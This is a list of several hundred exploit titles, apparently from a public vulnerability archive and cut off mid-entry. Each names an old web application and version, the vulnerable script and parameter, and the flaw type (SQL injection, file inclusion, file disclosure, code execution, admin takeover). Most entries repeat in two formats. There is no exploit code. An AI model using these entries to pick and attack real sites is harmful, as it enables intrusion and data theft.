Phorum 3.3.1a - 'del.php include_path' Remote File Inclusion vBulletin 3.6.4 - 'inlinemod.php postids' SQL Injection Angel Lms 7.1 - 'default.asp id' SQL Injection News-Letterman 1.1 - (eintrag.php sqllog) Remote File Inclusion News-Letterman 1.1 - 'eintrag.php sqllog' Remote File Inclusion AJ Dating 1.0 - (view_profile.php) SQL Injection AJ Dating 1.0 - 'view_profile.php' SQL Injection AJ Forum 1.0 - (topic_title.php) SQL Injection AJ Forum 1.0 - 'topic_title.php' SQL Injection Flat Chat 2.0 - (include online.txt) Remote Code Execution netForo! 0.1 - (down.php file_to_download) Remote File Disclosure Flat Chat 2.0 - 'include online.txt' Remote Code Execution netForo! 0.1 - 'down.php file_to_download' Remote File Disclosure Magic CMS 4.2.747 - (mysave.php) Remote File Inclusion Magic CMS 4.2.747 - 'mysave.php' Remote File Inclusion HC Newssystem 1.0-1.4 - (index.php ID) SQL Injection HC Newssystem 1.0-1.4 - 'index.php ID' SQL Injection Top Auction 1.0 - (viewcat.php) SQL Injection Top Auction 1.0 - 'viewcat.php' SQL Injection X-ice News System 1.0 - (devami.asp id) SQL Injection JGBBS 3.0beta1 - (search.asp author) SQL Injection X-ice News System 1.0 - 'devami.asp id' SQL Injection JGBBS 3.0beta1 - 'search.asp author' SQL Injection Woltlab Burning Board 2.x - (usergroups.php) SQL Injection Woltlab Burning Board 2.x - 'usergroups.php' SQL Injection Absolute Image Gallery 2.0 - (gallery.asp categoryId) SQL Injection Absolute Image Gallery 2.0 - 'gallery.asp categoryId' SQL Injection Creative Files 1.2 - (kommentare.php) SQL Injection Particle Blogger 1.2.0 - (post.php postid) SQL Injection Creative Files 1.2 - 'kommentare.php' SQL Injection Particle Blogger 1.2.0 - 'post.php postid' SQL Injection PHP-Stats 0.1.9.1b - (PHP-stats-options.php) Admin 2 exec() eExploit MPM Chat 2.5 - (view.php logi) Local File Inclusion PHP-Stats 0.1.9.1b - 'PHP-stats-options.php' Admin 2 exec() eExploit MPM Chat 2.5 - 'view.php logi' Local File Inclusion ScriptMagix Jokes 2.0 - (index.php catid) SQL Injection ScriptMagix Recipes 2.0 - (index.php catid) SQL Injection ScriptMagix Jokes 2.0 - 'index.php catid' SQL Injection ScriptMagix Recipes 2.0 - 'index.php catid' SQL Injection ScriptMagix Lyrics 2.0 - (index.php recid) SQL Injection ScriptMagix Lyrics 2.0 - 'index.php recid' SQL Injection PHP-Nuke Module htmltonuke 2.0alpha - (htmltonuke.php) Remote File Inclusion PHPRaid < 3.0.7 - (rss.php PHPraid_dir) Remote File Inclusion Monster Top List 1.4.2 - (functions.php root_path) Remote File Inclusion PHP-Nuke Module htmltonuke 2.0alpha - 'htmltonuke.php' Remote File Inclusion PHPRaid < 3.0.7 - 'rss.php PHPraid_dir' Remote File Inclusion Monster Top List 1.4.2 - 'functions.php root_path' Remote File Inclusion Digital Eye CMS 0.1.1b - (module.php) Remote File Inclusion Digital Eye CMS 0.1.1b - 'module.php' Remote File Inclusion ActiveBuyandSell 6.2 - (buyersend.asp catid) SQL Injection Active Auction Pro 7.1 - (default.asp catid) SQL Injection ActiveBuyandSell 6.2 - 'buyersend.asp catid' SQL Injection Active Auction Pro 7.1 - 'default.asp catid' SQL Injection Net-Side.net CMS - (index.php cms) Remote File Inclusion Net-Side.net CMS - 'index.php cms' Remote File Inclusion XOOPS module Articles 1.02 - (print.php id) SQL Injection XOOPS module Articles 1.02 - 'print.php id' SQL Injection XOOPS module Articles 1.03 - (index.php cat_id) SQL Injection XOOPS module Articles 1.03 - 'index.php cat_id' SQL Injection XOOPS Module Friendfinder 3.3 - (view.php id) SQL Injection MangoBery CMS 0.5.5 - (quotes.php) Remote File Inclusion XOOPS Module Friendfinder 3.3 - 'view.php id' SQL Injection MangoBery CMS 0.5.5 - 'quotes.php' Remote File Inclusion sBLOG 0.7.3 Beta - (inc/lang.php) Local File Inclusion sBLOG 0.7.3 Beta - 'inc/lang.php' Local File Inclusion Picture-Engine 1.2.0 - (wall.php cat) SQL Injection Picture-Engine 1.2.0 - 'wall.php cat' SQL Injection JSBoard 2.0.10 - (login.php table) Local File Inclusion JSBoard 2.0.10 - 'login.php table' Local File Inclusion XOOPS Module eCal 2.24 - (display.php) SQL Injection BT-sondage 1.12 - (gestion_sondage.php) Remote File Inclusion XOOPS Module eCal 2.24 - 'display.php' SQL Injection BT-sondage 1.12 - 'gestion_sondage.php' Remote File Inclusion XOOPS Module debaser 0.92 - (genre.php) Blind SQL Injection XOOPS Module debaser 0.92 - 'genre.php' Blind SQL Injection XOOPS Module Zmagazine 1.0 - (print.php) SQL Injection XOOPS Module Zmagazine 1.0 - 'print.php' SQL Injection XOOPS Module Rha7 Downloads 1.0 - (visit.php) SQL Injection XOOPS Module Rha7 Downloads 1.0 - 'visit.php' SQL Injection WebSPELL 4.01.02 - (picture.php) File Disclosure Beryo 2.0 - (downloadpic.php chemin) Remote File Disclosure cattaDoc 2.21 - (download2.php fn1) Remote File Disclosure WebSPELL 4.01.02 - 'picture.php' File Disclosure Beryo 2.0 - 'downloadpic.php chemin' Remote File Disclosure cattaDoc 2.21 - 'download2.php fn1' Remote File Disclosure Scorp Book 1.0 - (smilies.php config) Remote File Inclusion Scorp Book 1.0 - 'smilies.php config' Remote File Inclusion WitShare 0.9 - (index.php menu) Local File Inclusion WitShare 0.9 - 'index.php menu' Local File Inclusion Pathos CMS 0.92-2 - (warn.php) Remote File Inclusion Pathos CMS 0.92-2 - 'warn.php' Remote File Inclusion PHPGalleryScript 1.0 - (init.gallery.php include_class) Remote File Inclusion PHPGalleryScript 1.0 - 'init.gallery.php include_class' Remote File Inclusion Expow 0.8 - (autoindex.php cfg_file) Remote File Inclusion Request It 1.0b - (index.php id) Remote File Inclusion Chatness 2.5.3 - (options.php/save.php) Remote Code Execution Expow 0.8 - 'autoindex.php cfg_file' Remote File Inclusion Request It 1.0b - 'index.php id' Remote File Inclusion Chatness 2.5.3 - 'options.php/save.php' Remote Code Execution Pixaria Gallery 1.x - (class.Smarty.php) Remote File Inclusion Pixaria Gallery 1.x - 'class.Smarty.php' Remote File Inclusion CNStats 2.9 - (who_r.php bj) Remote File Inclusion NMDeluxe 1.0.1 - (footer.php template) Local File Inclusion CNStats 2.9 - 'who_r.php bj' Remote File Inclusion NMDeluxe 1.0.1 - 'footer.php template' Local File Inclusion openMairie 1.10 - (scr/soustab.php) Local File Inclusion openMairie 1.10 - 'scr/soustab.php' Local File Inclusion Anthologia 0.5.2 - (index.php ads_file) Remote File Inclusion Anthologia 0.5.2 - 'index.php ads_file' Remote File Inclusion Joomla! Component JoomlaPack 1.0.4a2 RE - (CAltInstaller.php) Remote File Inclusion Joomla! Component JoomlaPack 1.0.4a2 RE - 'CAltInstaller.php' Remote File Inclusion ShoutPro 1.5.2 - (shout.php) Remote Code Injection ShoutPro 1.5.2 - 'shout.php' Remote Code Injection AimStats 3.2 - (process.php update) Remote Code Execution AimStats 3.2 - 'process.php update' Remote Code Execution CreaDirectory 1.2 - (error.asp id) SQL Injection CreaDirectory 1.2 - 'error.asp id' SQL Injection JChit counter 1.0.0 - (imgsrv.php ac) Remote File Disclosure JChit counter 1.0.0 - 'imgsrv.php ac' Remote File Disclosure Joomla! 1.5.0 Beta - (pcltar.php) Remote File Inclusion Pagode 0.5.8 - (navigator_ok.php asolute) Remote File Disclosure Joomla! 1.5.0 Beta - 'pcltar.php' Remote File Inclusion Pagode 0.5.8 - 'navigator_ok.php asolute' Remote File Disclosure wavewoo 0.1.1 - (loading.php path_include) Remote File Inclusion JulmaCMS 1.4 - (file.php) Remote File Disclosure Ext 1.0 - (feed-proxy.php feed) Remote File Disclosure PHPBandManager 0.8 - (index.php pg) Remote File Inclusion PHPOracleView - (include_all.inc.php page_dir) Remote File Inclusion wavewoo 0.1.1 - 'loading.php path_include' Remote File Inclusion JulmaCMS 1.4 - 'file.php' Remote File Disclosure Ext 1.0 - 'feed-proxy.php feed' Remote File Disclosure PHPBandManager 0.8 - 'index.php pg' Remote File Inclusion PHPOracleView - 'include_all.inc.php page_dir' Remote File Inclusion EsForum 3.0 - (forum.php idsalon) SQL Injection EsForum 3.0 - 'forum.php idsalon' SQL Injection Imageview 5.3 - (fileview.php album) Local File Inclusion The Merchant 2.2.0 - (index.php show) Remote File Inclusion psipuss 1.0 - (editusers.php) Remote Change Admin Password Imageview 5.3 - 'fileview.php album' Local File Inclusion The Merchant 2.2.0 - 'index.php show' Remote File Inclusion psipuss 1.0 - 'editusers.php' Remote Change Admin Password Sendcard 3.4.1 - (sendcard.php form) Local File Inclusion Sendcard 3.4.1 - 'sendcard.php form' Local File Inclusion PStruh-CZ 1.3/1.5 - (download.asp) File Disclosure PStruh-CZ 1.3/1.5 - 'download.asp' File Disclosure Open Translation Engine (OTE) 0.7.8 - (header.php ote_home) Remote File Inclusion Open Translation Engine (OTE) 0.7.8 - 'header.php ote_home' Remote File Inclusion Censura 1.15.04 - (censura.php vendorid) SQL Injection E-GADS! 2.2.6 - (common.php locale) Remote File Inclusion Versado CMS 1.07 - (ajax_listado.php urlModulo) Remote File Inclusion workbench 0.11 - (header.php path) Remote File Inclusion Censura 1.15.04 - 'censura.php vendorid' SQL Injection E-GADS! 2.2.6 - 'common.php locale' Remote File Inclusion Versado CMS 1.07 - 'ajax_listado.php urlModulo' Remote File Inclusion workbench 0.11 - 'header.php path' Remote File Inclusion PHPtree 1.3 - (cms2.php s_dir) Remote File Inclusion NoAh 0.9 pre 1.2 - (mfa_theme.php) Remote File Inclusion PHPtree 1.3 - 'cms2.php s_dir' Remote File Inclusion NoAh 0.9 pre 1.2 - 'mfa_theme.php' Remote File Inclusion ACGVAnnu 1.3 - (acgv.php rubrik) Local File Inclusion ACGVAnnu 1.3 - 'acgv.php rubrik' Local File Inclusion LaVague 0.3 - (printbar.php views_path) Remote File Inclusion LaVague 0.3 - 'printbar.php views_path' Remote File Inclusion Miplex2 - (SmartyFU.class.php) Remote File Inclusion Miplex2 - 'SmartyFU.class.php' Remote File Inclusion SimpleNews 1.0.0 FINAL - (print.php news_id) SQL Injection TutorialCMS 1.00 - (search.php search) SQL Injection SimpleNews 1.0.0 FINAL - 'print.php news_id' SQL Injection TutorialCMS 1.00 - 'search.php search' SQL Injection maGAZIn 2.0 - (PHPThumb.php src) Remote File Disclosure R2K Gallery 1.7 - (galeria.php lang2) Local File Inclusion maGAZIn 2.0 - 'PHPThumb.php src' Remote File Disclosure R2K Gallery 1.7 - 'galeria.php lang2' Local File Inclusion PHP FirstPost 0.1 - (block.php Include) Remote File Inclusion iG Shop 1.4 - (page.php) SQL Injection PHP FirstPost 0.1 - 'block.php Include' Remote File Inclusion iG Shop 1.4 - 'page.php' SQL Injection Beacon 0.2.0 - (splash.lang.php) Remote File Inclusion Beacon 0.2.0 - 'splash.lang.php' Remote File Inclusion BlogMe 3.0 - (archshow.asp var) SQL Injection BlogMe 3.0 - 'archshow.asp var' SQL Injection NagiosQL 2005 2.00 - (prepend_adm.php) Remote File Inclusion Feindt Computerservice News 2.0 - (newsadmin.php action) Remote File Inclusion NagiosQL 2005 2.00 - 'prepend_adm.php' Remote File Inclusion Feindt Computerservice News 2.0 - 'newsadmin.php action' Remote File Inclusion FAQEngine 4.16.03 - (question.php questionref) SQL Injection FAQEngine 4.16.03 - 'question.php questionref' SQL Injection Libstats 1.0.3 - (template_csv.php) Remote File Inclusion MolyX BOARD 2.5.0 - (index.php lang) Local File Inclusion Libstats 1.0.3 - 'template_csv.php' Remote File Inclusion MolyX BOARD 2.5.0 - 'index.php lang' Local File Inclusion Dokeos 1.8.0 - (my_progress.php course) SQL Injection Dokeos 1.6.5 - (courseLog.php scormcontopen) SQL Injection Dokeos 1.8.0 - 'my_progress.php course' SQL Injection Dokeos 1.6.5 - 'courseLog.php scormcontopen' SQL Injection Webavis 0.1.1 - (class.php root) Remote File Inclusion Webavis 0.1.1 - 'class.php root' Remote File Inclusion My Little Forum 1.7 - (user.php id) SQL Injection My Little Forum 1.7 - 'user.php id' SQL Injection TROforum 0.1 - (admin.php site_url) Remote File Inclusion TROforum 0.1 - 'admin.php site_url' Remote File Inclusion Fundanemt 2.2.0 - (spellcheck.php) Remote Code Execution Fundanemt 2.2.0 - 'spellcheck.php' Remote Code Execution Madirish Webmail 2.0 - (addressbook.php) Remote File Inclusion Madirish Webmail 2.0 - 'addressbook.php' Remote File Inclusion Fuzzylime Forum 1.0 - (low.php topic) SQL Injection Fuzzylime Forum 1.0 - 'low.php topic' SQL Injection Sitellite CMS 4.2.12 - (559668.php) Remote File Inclusion PHP::HTML 0.6.4 - (PHPhtml.php) Remote File Inclusion PHPMyInventory 2.8 - (global.inc.php) Remote File Inclusion Sitellite CMS 4.2.12 - '559668.php' Remote File Inclusion PHP::HTML 0.6.4 - 'PHPhtml.php' Remote File Inclusion PHPMyInventory 2.8 - 'global.inc.php' Remote File Inclusion MiniBill 1.2.5 - (run_billing.php) Remote File Inclusion MiniBill 1.2.5 - 'run_billing.php' Remote File Inclusion LiveCMS 3.4 - (categoria.php cid) SQL Injection LiveCMS 3.4 - 'categoria.php cid' SQL Injection SerWeb 0.9.4 - (load_lang.php) Remote File Inclusion Powl 0.94 - (htmledit.php) Remote File Inclusion SerWeb 0.9.4 - 'load_lang.php' Remote File Inclusion Powl 0.94 - 'htmledit.php' Remote File Inclusion Pharmacy System 2.0 - (index.php ID) SQL Injection Pharmacy System 2.0 - 'index.php ID' SQL Injection b1gbb 2.24.0 - (footer.inc.php tfooter) Remote File Inclusion b1gbb 2.24.0 - 'footer.inc.php tfooter' Remote File Inclusion SiteDepth CMS 3.44 - (ShowImage.php name) File Disclosure DreamLog 0.5 - (upload.php) Arbitrary File Upload SiteDepth CMS 3.44 - 'ShowImage.php name' File Disclosure DreamLog 0.5 - 'upload.php' Arbitrary File Upload PHPSiteBackup 0.1 - (pcltar.lib.php) Remote File Inclusion EVA-Web 1.1 <= 2.2 - (index.php3) Remote File Inclusion PHPSiteBackup 0.1 - 'pcltar.lib.php' Remote File Inclusion EVA-Web 1.1 <= 2.2 - 'index.php3' Remote File Inclusion WebChat 0.78 - (login.php rid) SQL Injection Buddy Zone 1.5 - (view_sub_cat.php cat_id) SQL Injection WebChat 0.78 - 'login.php rid' SQL Injection Buddy Zone 1.5 - 'view_sub_cat.php cat_id' SQL Injection TotalCalendar 2.402 - (view_event.php) SQL Injection XCMS 1.1 - (Galerie.php) Local File Inclusion TotalCalendar 2.402 - 'view_event.php' SQL Injection XCMS 1.1 - 'Galerie.php' Local File Inclusion phpEventCalendar 0.2.3 - (eventdisplay.php) SQL Injection phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection AV Arcade 2.1b - (index.php id) SQL Injection PHPDirector 0.21 - (videos.php id) SQL Injection vbzoom 1.x - (forum.php MainID) SQL Injection AV Arcade 2.1b - 'index.php id' SQL Injection PHPDirector 0.21 - 'videos.php id' SQL Injection vbzoom 1.x - 'forum.php MainID' SQL Injection Girlserv ads 1.5 - (details_news.php) SQL Injection Girlserv ads 1.5 - 'details_news.php' SQL Injection AsteriDex 3.0 - (callboth.php) Remote Code Execution AsteriDex 3.0 - 'callboth.php' Remote Code Execution vBulletin Mod RPG Inferno 2.4 - (inferno.php) SQL Injection OpenLD 1.2.2 - (index.php id) SQL Injection FlashBB 1.1.8 - (sendmsg.php) Remote File Inclusion vBulletin Mod RPG Inferno 2.4 - 'inferno.php' SQL Injection OpenLD 1.2.2 - 'index.php id' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion PsNews 1.1 - (show.php newspath) Local File Inclusion PsNews 1.1 - 'show.php newspath' Local File Inclusion QuickEStore 8.2 - (insertorder.cfm) SQL Injection QuickEStore 8.2 - 'insertorder.cfm' SQL Injection phpBB Module SupaNav 1.0.0 - (link_main.php) Remote File Inclusion phpBB Module SupaNav 1.0.0 - 'link_main.php' Remote File Inclusion Blog System 1.x - (index.php news_id) SQL Injection Blog System 1.x - 'index.php news_id' SQL Injection Confixx Pro 3.3.1 - (saveserver.php) Remote File Inclusion Confixx Pro 3.3.1 - 'saveserver.php' Remote File Inclusion SimpleBlog 3.0 - (comments_get.asp id) SQL Injection SimpleBlog 3.0 - 'comments_get.asp id' SQL Injection paBugs 2.0 Beta 3 - (main.php cid) SQL Injection paBugs 2.0 Beta 3 - 'main.php cid' SQL Injection YNP Portal System 2.2.0 - (showpage.cgi p) Remote File Disclosure YNP Portal System 2.2.0 - 'showpage.cgi p' Remote File Disclosure FishCart 3.2 RC2 - (fc_example.php) Remote File Inclusion Ncaster 1.7.2 - (archive.php) Remote File Inclusion FishCart 3.2 RC2 - 'fc_example.php' Remote File Inclusion Ncaster 1.7.2 - 'archive.php' Remote File Inclusion Pixlie 1.7 - (pixlie.php root) Remote File Disclosure Pixlie 1.7 - 'pixlie.php root' Remote File Disclosure Squirrelcart 1.x.x - (cart.php) Remote File Inclusion Squirrelcart 1.x.x - 'cart.php' Remote File Inclusion SomeryC 0.2.4 - (include.php skindir) Remote File Inclusion SomeryC 0.2.4 - 'include.php skindir' Remote File Inclusion Micro CMS 3.5 - (revert-content.php) SQL Injection Micro CMS 3.5 - 'revert-content.php' SQL Injection DL PayCart 1.01 - (viewitem.php ItemID) Blind SQL Injection VWar 1.5.0 R15 - (mvcw.php) Remote File Inclusion DL PayCart 1.01 - 'viewitem.php ItemID' Blind SQL Injection VWar 1.5.0 R15 - 'mvcw.php' Remote File Inclusion xGB 2.0 - (xGB.php) Remote Security Bypass xGB 2.0 - 'xGB.php' Remote Security Bypass PHPNS 1.1 - (shownews.php id) SQL Injection PHPNS 1.1 - 'shownews.php id' SQL Injection Ourspace 2.0.9 - (uploadmedia.cgi) Arbitrary File Upload Ourspace 2.0.9 - 'uploadmedia.cgi' Arbitrary File Upload Yvora CMS 1.0 - (error_view.php ID) SQL Injection Yvora CMS 1.0 - 'error_view.php ID' SQL Injection PHPOF 20040226 - (DB_adodb.class.php) Remote File Inclusion AnyInventory 2.0 - (Environment.php) Remote File Inclusion PHPOF 20040226 - 'DB_adodb.class.php' Remote File Inclusion AnyInventory 2.0 - 'Environment.php' Remote File Inclusion Webace-Linkscript 1.3 SE - (start.php) SQL Injection RW::Download 2.0.3 lite - (index.php dlid) SQL Injection Webace-Linkscript 1.3 SE - 'start.php' SQL Injection RW::Download 2.0.3 lite - 'index.php dlid' SQL Injection Sisfo Kampus 2006 - (blanko.preview.php) Local File Disclosure Sisfo Kampus 2006 - 'blanko.preview.php' Local File Disclosure PHPress 0.2.0 - (adisplay.php lang) Local File Inclusion PHPress 0.2.0 - 'adisplay.php lang' Local File Inclusion Ajax File Browser 3b - (settings.inc.php approot) Remote File Inclusion Ajax File Browser 3b - 'settings.inc.php approot' Remote File Inclusion JBlog 1.0 - (index.php id) SQL Injection JBlog 1.0 - 'index.php id' SQL Injection neuron news 1.0 - (index.php q) Local File Inclusion neuron news 1.0 - 'index.php q' Local File Inclusion Wordsmith 1.1b - (config.inc.php _path) Remote File Inclusion Wordsmith 1.1b - 'config.inc.php _path' Remote File Inclusion helplink 0.1.0 - (show.php) Remote File Inclusion helplink 0.1.0 - 'show.php' Remote File Inclusion Novus 1.0 - (notas.asp nota_id) SQL Injection Novus 1.0 - 'notas.asp nota_id' SQL Injection lustig.cms Beta 2.5 - (forum.php view) Remote File Inclusion lustig.cms Beta 2.5 - 'forum.php view' Remote File Inclusion Ossigeno CMS 2.2a3 - (footer.php) Remote File Inclusion Ossigeno CMS 2.2a3 - 'footer.php' Remote File Inclusion Picturesolution 2.1 - (config.php path) Remote File Inclusion Picturesolution 2.1 - 'config.php path' Remote File Inclusion xKiosk 3.0.1i - (xkurl.php PEARPATH) Remote File Inclusion xKiosk 3.0.1i - 'xkurl.php PEARPATH' Remote File Inclusion LimeSurvey 1.52 - (language.php) Remote File Inclusion LimeSurvey 1.52 - 'language.php' Remote File Inclusion emagiC CMS.Net 4.0 - (emc.asp) SQL Injection FireConfig 0.5 - (dl.php) Remote File Disclosure emagiC CMS.Net 4.0 - 'emc.asp' SQL Injection FireConfig 0.5 - 'dl.php' Remote File Disclosure Ax Developer CMS 0.1.1 - (index.php module) Local File Inclusion GuppY 4.6.3 - (includes.inc selskin) Remote File Inclusion Quick and Dirty Blog (qdblog) 0.4 - (categories.php) Local File Inclusion scWiki 1.0 Beta 2 - (common.php pathdot) Remote File Inclusion Ax Developer CMS 0.1.1 - 'index.php module' Local File Inclusion GuppY 4.6.3 - 'includes.inc selskin' Remote File Inclusion Quick and Dirty Blog (qdblog) 0.4 - 'categories.php' Local File Inclusion scWiki 1.0 Beta 2 - 'common.php pathdot' Remote File Inclusion Content Injector 1.52 - (index.php cat) SQL Injection Content Injector 1.52 - 'index.php cat' SQL Injection Amber Script 1.0 - (show_content.php id) Local File Inclusion Amber Script 1.0 - 'show_content.php id' Local File Inclusion project alumni 1.0.9 - (index.php act) Local File Inclusion project alumni 1.0.9 - 'index.php act' Local File Inclusion Web-MeetMe 3.0.3 - (play.php) Remote File Disclosure Web-MeetMe 3.0.3 - 'play.php' Remote File Disclosure KML share 1.1 - (region.php layer) Remote File Disclosure KML share 1.1 - 'region.php layer' Remote File Disclosure EZContents 1.4.5 - (index.php link) Remote File Disclosure EZContents 1.4.5 - 'index.php link' Remote File Disclosure PolDoc CMS 0.96 - (download_file.php) File Disclosure PolDoc CMS 0.96 - 'download_file.php' File Disclosure xml2owl 0.1.1 - (filedownload.php) Remote File Disclosure xml2owl 0.1.1 - 'filedownload.php' Remote File Disclosure Wallpaper Site 1.0.09 - (category.php) SQL Injection Wallpaper Site 1.0.09 - 'category.php' SQL Injection PHP ZLink 0.3 - (go.php) SQL Injection PHP ZLink 0.3 - 'go.php' SQL Injection ThemeSiteScript 1.0 - (index.php loadadminpage) Remote File Inclusion ThemeSiteScript 1.0 - 'index.php loadadminpage' Remote File Inclusion ZenPhoto 1.1.3 - (rss.php albumnr) SQL Injection ZenPhoto 1.1.3 - 'rss.php albumnr' SQL Injection Docebo 3.5.0.3 - (lib.regset.php) Command Execution Docebo 3.5.0.3 - 'lib.regset.php' Command Execution Docebo 3.5.0.3 - (lib.regset.php/non-blind) SQL Injection Docebo 3.5.0.3 - 'lib.regset.php/non-blind' SQL Injection Quinsonnas Mail Checker 1.55 - (footer.php) Remote File Inclusion Quinsonnas Mail Checker 1.55 - 'footer.php' Remote File Inclusion PHPMesFilms 1.0 - (index.php id) SQL Injection PHPMesFilms 1.0 - 'index.php id' SQL Injection CuteNews 1.4.6 - (ip ban) Cross-Site Scripting / Command Execution (Administrator Required) CuteNews 1.4.6 - 'ip ban' Authorized Cross-Site Scripting / Command Execution GNUBoard 4.31.03 - (08.12.29) Local File Inclusion GNUBoard 4.31.03 (08.12.29) - Local File Inclusion Gazelle CMS - 'template' Local File Inclusion Gazelle CMS 1.0 - 'template' Local File Inclusion Social Engine - (category_id) SQL Injection SmartSiteCMS 1.0 - (articles.php var) Blind SQL Injection Social Engine 3.06 - 'category_id' Parameter SQL Injection SmartSiteCMS 1.0 - Blind SQL Injection Star Articles 6.0 - (admin.manage) Remote Contents Change Star Articles 6.0 - Remote Contents Change PLE CMS 1.0 Beta 4.2 - (login.php school) Blind SQL Injection PLE CMS 1.0 Beta 4.2 - Blind SQL Injection GNUBoard 4.31.04 - (09.01.30) Multiple Local+Remote Vulnerabilities GNUBoard 4.31.04 (09.01.30) - Multiple Local+Remote Vulnerabilities eVision CMS 2.0 - (field) SQL Injection eVision CMS 2.0 - SQL Injection phpBLASTER 1.0 RC1 - (blaster_user) Blind SQL Injection phpBLASTER 1.0 RC1 - Blind SQL Injection phpslash 0.8.1.1 - Remote Code Execution PHPSlash 0.8.1.1 - Remote Code Execution WEBalbum 2.4b - (photo.php id) Blind SQL Injection WEBalbum 2.4b - 'photo.php id' Blind SQL Injection PHPbbBook 1.3 - (bbcode.php l) Local File Inclusion PHPbbBook 1.3 - 'bbcode.php l' Local File Inclusion IF-CMS 2.0 - (frame.php id) Blind SQL Injection IF-CMS 2.0 - 'frame.php id' Blind SQL Injection ZeroBoardXE 1.1.5 - (09.01.22) Cross-Site Scripting ZeroBoardXE 1.1.5 (09.01.22) - Cross-Site Scripting Gaeste 1.6 - (gastbuch.php) Remote File Disclosure Gaeste 1.6 - 'gastbuch.php' Remote File Disclosure Bloggeruniverse 2.0 Beta - (editcomments.php id) SQL Injection Den Dating 9.01 - (searchmatch.php) SQL Injection Bloggeruniverse 2.0 Beta - 'editcomments.php id' SQL Injection Den Dating 9.01 - 'searchmatch.php' SQL Injection PHP Krazy Image Host Script 1.01 - (viewer.php id) SQL Injection PHP Krazy Image Host Script 1.01 - 'viewer.php id' SQL Injection phpBB 3 - (autopost bot mod 0.1.3) Remote File Inclusion i-dreams Mailer 1.2 Final - (admin.dat) File Disclosure i-dreams GB 5.4 Final - (admin.dat) File Disclosure phpBB 3 - 'autopost bot mod 0.1.3' Remote File Inclusion i-dreams Mailer 1.2 Final - 'admin.dat' File Disclosure i-dreams GB 5.4 Final - 'admin.dat' File Disclosure Osmodia Bulletin Board 1.x - (admin.txt) File Disclosure Osmodia Bulletin Board 1.x - 'admin.txt' File Disclosure Supernews 1.5 - (valor.php noticia) SQL Injection X-BLC 0.2.0 - (get_read.php section) SQL Injection Supernews 1.5 - 'valor.php noticia' SQL Injection X-BLC 0.2.0 - 'get_read.php section' SQL Injection SurfMyTV Script 1.0 - (view.php id) SQL Injection SurfMyTV Script 1.0 - 'view.php id' SQL Injection WeBid 0.7.3 RC9 - (upldgallery.php) Arbitrary File Upload WeBid 0.7.3 RC9 - 'upldgallery.php' Arbitrary File Upload vsp stats processor 0.45 - (gamestat.php gameID) SQL Injection vsp stats processor 0.45 - 'gamestat.php gameID' SQL Injection Back-End CMS 5.0 - (main.asp id) SQL Injection Back-End CMS 5.0 - 'main.asp id' SQL Injection GuestCal 2.1 - (index.php lang) Local File Inclusion GuestCal 2.1 - 'index.php lang' Local File Inclusion W2B Restaurant 1.2 - (conf.inc) Config File Disclosure W2B Restaurant 1.2 - 'conf.inc' Config File Disclosure NetHoteles 3.0 - (ficha.php) SQL Injection eLitius 1.0 - (manage-admin.php) Add Admin/Change Password Exploit NetHoteles 3.0 - 'ficha.php' SQL Injection eLitius 1.0 - 'manage-admin.php' Add Admin/Change Password Exploit Dokeos Lms 1.8.5 - (whoisonline.php) PHP Code Injection Dokeos Lms 1.8.5 - 'whoisonline.php' PHP Code Injection Flatchat 3.0 - (pmscript.php with) Local File Inclusion Flatchat 3.0 - 'pmscript.php with' Local File Inclusion VisionLms 1.0 - (changePW.php) Remote Password Change Exploit VisionLms 1.0 - 'changePW.php' Remote Password Change Exploit eLitius 1.0 - (banner-details.php id) SQL Injection ProjectCMS 1.0b - (index.php sn) SQL Injection eLitius 1.0 - 'banner-details.php id' SQL Injection ProjectCMS 1.0b - 'index.php sn' SQL Injection pecio CMS 1.1.5 - (index.php language) Local File Inclusion pecio CMS 1.1.5 - 'index.php language' Local File Inclusion Uguestbook 1.0b - (Guestbook.mdb) Arbitrary Database Disclosure Uguestbook 1.0b - 'Guestbook.mdb' Arbitrary Database Disclosure beLive 0.2.3 - (arch.php arch) Local File Inclusion beLive 0.2.3 - 'arch.php arch' Local File Inclusion PHPenpals 1.1 - (mail.php ID) SQL Injection PHPenpals 1.1 - 'mail.php ID' SQL Injection MaxCMS 2.0 - (inc/ajax.asp) SQL Injection MaxCMS 2.0 - 'inc/ajax.asp' SQL Injection Realty Web-Base 1.0 - (list_list.php id) SQL Injection Realty Web-Base 1.0 - 'list_list.php id' SQL Injection vBulletin vbBux/vbPlaza 2.x - (vbplaza.php) Blind SQL Injection vBulletin vbBux/vbPlaza 2.x - 'vbplaza.php' Blind SQL Injection ShaadiClone 2.0 - (addAdminmembercode.php) Add Admin ShaadiClone 2.0 - 'addAdminmembercode.php' Add Admin ecsportal rel 6.5 - (article_view_photo.php id) SQL Injection ecsportal rel 6.5 - 'article_view_photo.php id' SQL Injection Supernews 2.6 - (index.php noticia) SQL Injection Supernews 2.6 - 'index.php noticia' SQL Injection Movie PHP Script 2.0 - (init.php anticode) Code Execution Movie PHP Script 2.0 - 'init.php anticode' Code Execution VT-Auth 1.0 - (zHk8dEes3.txt) File Disclosure VT-Auth 1.0 - 'zHk8dEes3.txt' File Disclosure PHPWebThings 1.5.2 - (help.php module) Local File Inclusion PHPWebThings 1.5.2 - 'help.php module' Local File Inclusion DB Top Sites 1.0 - (index.php u) Local File Inclusion DB Top Sites 1.0 - 'index.php u' Local File Inclusion PHPCollegeExchange 0.1.5c - (listing_view.php itemnr) SQL Injection PHPCollegeExchange 0.1.5c - 'listing_view.php itemnr' SQL Injection XOOPS 2.3.3 - (.htaccess) Remote File Disclosure PHPFK 7.03 - (page_bottom.php) Local File Inclusion XOOPS 2.3.3 - '.htaccess' Remote File Disclosure PHPFK 7.03 - 'page_bottom.php' Local File Inclusion Glossword 1.8.11 - (index.php x) Local File Inclusion Glossword 1.8.11 - 'index.php x' Local File Inclusion LightOpenCMS 0.1 - (smarty.php cwd) Local File Inclusion LightOpenCMS 0.1 - 'smarty.php cwd' Local File Inclusion Messages Library 2.0 - (cat.php CatID) SQL Injection Messages Library 2.0 - 'cat.php CatID' SQL Injection PHP-Sugar 0.80 - (index.php t) Local File Inclusion PHP-Sugar 0.80 - 'index.php t' Local File Inclusion Universe CMS 1.0.6 - (vnews.php id) SQL Injection Universe CMS 1.0.6 - 'vnews.php id' SQL Injection Phenotype CMS 2.8 - (login.php user) Blind SQL Injection Phenotype CMS 2.8 - 'login.php user' Blind SQL Injection webLeague 2.2.0 - (install.php) Remote Change Password Exploit webLeague 2.2.0 - 'install.php' Remote Change Password Exploit VS PANEL 7.5.5 - 